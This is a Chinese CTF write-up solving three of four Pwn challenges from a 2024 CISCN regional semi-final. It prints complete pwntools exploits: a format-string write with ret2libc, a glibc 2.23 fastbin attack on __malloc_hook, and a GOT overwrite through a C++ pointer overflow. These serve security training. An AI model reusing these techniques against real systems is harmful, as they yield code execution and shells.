-
-
2024全国大学生信息安全竞赛(Ciscn)半决赛东北赛区Pwn题解
-
2024-6-14 09:14 1669
-
前言
今年Ciscn华东北赛区半决赛的时间比较晚,找东北赛区的师傅要了一份半决赛Pwn题。
听说好像有5个Pwn题,但是只拿到了4个。如果有师傅有剩下那一个欢迎私信我。
拿到手的4个除了最后一个vmJS,还是挺简单的。都是格式化字符串、栈溢出和低版本libc题目,没有出Kernel、LLVM和高版本IO题。
半决赛前提前准备下,顺便练练手,顺手写了一份东北赛区Pwn题解,分享出来,欢迎师傅们批评指正。
Pwn1(格式化字符串+stdout+ret2libc)
拖入IDA分析,发现存在一个格式化字符串漏洞sprintf(buf, buf):
程序运行后打印puts的地址,泄露了libc。但是stdout开启了缓冲区,导致输出的内容无法显示。
直接运行程序,发现真的不会输出任何内容,程序结束时才会刷新缓冲区:
我们看下Init函数:
这里介绍下setvbuf函数,它有三种mode:
- 全缓冲:0,缓冲区满 或 调用fflush() 后输出缓冲区内容。
- 行缓冲:1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容。
- 无缓冲:2,直接输出。
然后分析下vuln函数,发现存在栈溢出漏洞:
程序很简单,分析完毕,并且思路很清晰:
第一步,通过格式化字符串漏洞修改magic == 1,进入vuln函数。
sprintf函数和printf函数区别:sprinf函数不会把格式化的数据输出,而是写入到sprintf函数的第一个参数。
因此,rdi是指针,rsi是格式化字符串,rdx、rcx、r8、r9是格式化字符串的参数。
题目没开启PIE保护,并且由于magic是bss段地址,会出现\x00截断,需要放到格式化字符串的后面。
计算得出地址的偏移量为6,构造如下payload:
1 | payload = b 'a%6$llna' + p64( 0x404070 ) |
第二步,如果是常规的题目,我们在这里可以直接ret2libc。但是这题开启了stdout缓冲区,需要想办法将缓冲区内容输出。
无非是下面三种办法:
调用setvbuf设置为无缓冲的stdout:发现程序没有控制第三个参数rdx寄存器的gadget。
调用fflush函数刷新缓冲区:fflush函数在libc,目前还不知道libc地址。
填满缓冲区,程序会将所有的缓冲区内容全部输出:
12345678for
i
in
range
(
150
):
payload
=
b
'a'
*
0x10
+
b
'deadbeef'
+
p64(pop_rdi)
+
p64(puts_got)
+
p64(puts_plt)
+
p64(backdoor)
p.send(payload)
p.recvuntil(b
'0x'
)
libc_base
=
int
(p.recv(
12
),
16
)
-
0x84420
p.recv()
print
(
'libc_base = '
+
hex
(libc_base))
第三步,常规打法,直接ret2libc即可。
我这里用了onegadget(需要通过gadget调整下寄存器满足参数),当然也可以system("/bin/sh\x00")。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | # ret2libc ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp ''' one_gadget = [ 0xe3afe , 0xe3b01 , 0xe3b04 ] pop_rdx = libc_base + 0x0000000000142c92 payload = b 'a' * 0x10 + b 'deadbeef' + p64(pop_rsi_r15) + p64( 0 ) * 2 + p64(pop_rdx) + p64( 0 ) + p64(libc_base + one_gadget[ 2 ]) p.send(payload) |
完整exp如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | from pwn import * context.log_level = 'debug' p = process( './pwn' ) elf = ELF( 'pwn' ) libc = ELF( 'libc-2.31.so' ) puts_plt = elf.plt[ 'puts' ] puts_got = elf.got[ 'puts' ] backdoor = 0x401331 pop_rdi = 0x0000000000401463 pop_rsi_r15 = 0x0000000000401461 # magic -> 1 payload = b 'a%6$llna' + p64( 0x404070 ) p.send(payload) # leak libc for i in range ( 150 ): payload = b 'a' * 0x10 + b 'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(backdoor) p.send(payload) p.recvuntil(b '0x' ) libc_base = int (p.recv( 12 ), 16 ) - 0x84420 p.recv() print ( 'libc_base = ' + hex (libc_base)) # ret2libc ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp ''' one_gadget = [ 0xe3afe , 0xe3b01 , 0xe3b04 ] pop_rdx = libc_base + 0x0000000000142c92 payload = b 'a' * 0x10 + b 'deadbeef' + p64(pop_rsi_r15) + p64( 0 ) * 2 + p64(pop_rdx) + p64( 0 ) + p64(libc_base + one_gadget[ 2 ]) p.send(payload) p.interactive() |
Pwn2(glibc2.23堆题)
题目给了2.23版本的libc,拖入IDA简单分析:
程序开头初始化的位置初始化了一个长度为8的数组,数组内容为0x10:
依次分析增删改查函数,add函数如下:
指针数组(heap_array)最多存储8个chunk,输入下标和size后,将size+0x10存储到heap_size_array。
并且,只能申请fastbin大小范围为的chunk 和 0x90大小的chunk。read的size是输入的size+0x10,存在0x10字节溢出。
这里的溢出刚好可以修改下一个chunk的size和fd,除了fastbin,可以申请0x90大小的chunk释放到unsorted bin泄露libc。
(当然,这题就算只能申请fastbin大小范围的chunk也可以做,2.23版本通过溢出改大chunk的size也能释放到unsorted bin)
然后分析edit函数:
最多编辑0x10大小,好像用处不大,可以修改chunk的fd、bk指针的位置。
继续分析delete函数:
一直跟到最后,发现不存在UAF漏洞。
最后分析show函数:
只能调用一次,可以用来输出unsorted bin遗留的fd指针泄露libc。
程序分析完毕,由于是2.23版本的libc,而且程序没有开启PIE和RELRO,GOT表可写,所以做法有很多。
大概有以下几种做法:
- Unlink控制heap_array数组实现任意地址写,然后(改got表、改__free_hook、改__malloc_hook)都可以。
- Fastbin Attack控制heap_array数组实现任意地址写,然后(改got表、改__free_hook、改__malloc_hook)都可以。
- Fastbin Attack控制__malloc_hook写one_gadget。
当然,无论怎么做,首先要泄露libc地址。申请一个chunk放到unsorted bin,然后add回来通过show输出fd遗留的main_arena指针。
1 2 3 4 5 6 7 | add( 0 , 0x79 , b 'a' * 0x78 ) add( 1 , 0x18 , b 'b' * 0x18 ) # avoid merge to top_chunk delete( 0 ) add( 0 , 1 , b 'a' ) show( 0 ) libc_base = u64(p.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 , b '\x00' )) - 0x39bb78 print ( 'libc_base = ' + hex (libc_base)) |
这里介绍最简单的做法,直接fastbin attack改__malloc_hook -> one_gadget。
one_gadget打不通,需要通过realloc调整堆栈。完整exp如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | from pwn import * context(arch = 'amd64' , os = 'linux' , log_level = 'debug' ) p = process( './pwn' ) libc = ELF( './libc.so.6' ) elf = ELF( './pwn' ) def add(idx, size, content): p.sendlineafter(b 'choice?\n' , b '1' ) p.sendlineafter(b 'one?\n' , str (idx).encode()) p.sendlineafter(b 'need?\n' , str (size).encode()) p.sendafter(b 'data\n' , content) def edit(idx, size, content): p.sendlineafter(b 'choice?\n' , b '2' ) p.sendlineafter(b 'one?\n' , str (idx).encode()) p.sendlineafter(b 'need?\n' , str (size).encode()) p.sendafter(b 'data\n' , content) def delete(idx): p.sendlineafter(b 'choice?\n' , b '3' ) p.sendlineafter(b 'one?\n' , str (idx).encode()) def show(idx): p.sendlineafter(b 'choice?\n' , b '4' ) p.sendlineafter(b 'one?\n' , str (idx).encode()) # leak libc add( 0 , 0x79 , b 'a' * 0x78 ) add( 1 , 0x18 , b 'b' * 0x18 ) # avoid merge to top_chunk delete( 0 ) add( 0 , 0X79 , b 'a' ) show( 0 ) libc_base = u64(p.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 , b '\x00' )) - 0x3c4b61 print ( 'libc_base = ' + hex (libc_base)) # fastbin attack add( 2 , 0x68 , b 'c' * 0x68 ) ## fd -> __malloc_hook - 0x23 delete( 2 ) delete( 1 ) target = libc_base + libc.sym[ '__malloc_hook' ] - 0x23 add( 1 , 0x18 , b 'b' * 0x18 + p64( 0x71 ) + p64(target)) add( 2 , 0x68 , b 'c' * 0x68 ) # __malloc_hook -> realloc+8 # __realloc_hook -> one_gadget realloc = libc_base + libc.sym[ 'realloc' ] one_gadget = [ 0x4527a , 0xf03a4 , 0xf1247 ] add( 4 , 0x68 , b 'p' * 11 + p64(libc_base + one_gadget[ 0 ]) + p64(realloc + 8 )) p.sendlineafter(b 'choice?\n' , b '1' ) p.sendlineafter(b 'one?\n' , b '0' ) p.sendlineafter(b 'need?\n' , b '100' ) # gdb.attach(p) # pause() p.interactive() |
Pwn3(C++逆向)
题目是C++编写,不过不是很复杂,就设计2个数据结构和2个操作。
分别是cstr和String的读写,漏洞在程序的数组中。拖入IDA分析:
发现调用了Test类的构造函数,跟入分析:
将v22 + 32的位置初始化一个String指针,然后将v22到v22 + 31的位置填充0。
不用往下分析都知道,这个数组的第0-31个成员存储了c_str,而第32个成员存储String指针。
继续往下,提供了一个菜单交互,并且while(std::ios::good())这个是检查输入流是否正常,即不断有新的输入。
逐个函数分析,先来看1.set c_str功能:
1 2 3 | std::operator<<<std::char_traits< char >>(&std::cout, "c_str: " ); v10 = Test::c_str((Test *)v22); std::operator>>< char ,std::char_traits< char >>(&std::cin, v10); |
1 2 3 4 | Test *__fastcall Test::c_str(Test * this ) { return this ; } |
显然,通过cin直接往v22读入数据,并且没有限制长度,这里可以存在溢出并可以篡改String指针地址。
继续分析2.get c_str功能:
1 2 3 4 | v11 = std::operator<<<std::char_traits< char >>(&std::cout, "c_str: " ); v12 = Test::c_str((Test *)v22); v13 = std::operator<<<std::char_traits< char >>(v11, v12); std::ostream::operator<<(v13, &std::endl< char ,std::char_traits< char >>); |
1 2 3 4 | Test *__fastcall Test::c_str(Test * this ) { return this ; } |
直接通过cout输出数组的内容。
继续分析3.set str功能:
1 2 3 | std::operator<<<std::char_traits< char >>(&std::cout, "str: " ); v14 = Test::str[abi:cxx11](v22); std::operator>>< char >(&std::cin, v14); |
1 2 3 4 | __int64 __fastcall Test::str[abi:cxx11]( __int64 a1) { return a1 + 32; } |
最后分析4.get str功能:
1 2 3 4 | v15 = std::operator<<<std::char_traits< char >>(&std::cout, "str: " ); v16 = Test::str[abi:cxx11](v22); v17 = std::operator<<< char >(v15, v16); std::ostream::operator<<(v17, &std::endl< char ,std::char_traits< char >>); |
1 2 3 4 | __int64 __fastcall Test::str[abi:cxx11]( __int64 a1) { return a1 + 32; } |
直接打印String指针指向的内容。
程序很简单,通过c_str的输入可以覆盖String指针,实现任意地址读写。
题目还给了后门函数:
因此,解法就非常多了,这里给出一个很简单的利用方法。
直接修改std::ios::good()的got表为后门函数即可,完整exp如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * context.log_level = 'debug' p = process( './pwn' ) elf = ELF( './pwn' ) libc = ELF( './libc-2.31.so' ) backdoor = 0x4016E2 # StringPtr -> std::ios::good_got good = elf.got[ '_ZNKSt9basic_iosIcSt11char_traitsIcEE4goodEv' ] p.sendlineafter(b 'choice: ' , b '1' ) p.sendlineafter(b 'c_str: ' , b 'p' * 32 + p64(good) + p64( 8 )) # std::ios::good_got -> backdoor p.sendlineafter(b 'choice: ' , b '3' ) p.sendlineafter(b 'str: ' , p64(backdoor)) # gdb.attach(p) # pause() p.interactive() |
Pwn4(vm)
vm题,题目是一个JS解释器。
逆向有点复杂,虽然研究过一部分LLVMPass和vm逆向,但是还是没有搞懂这个题目执行流程。
如果有大佬解出来欢迎分享~
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法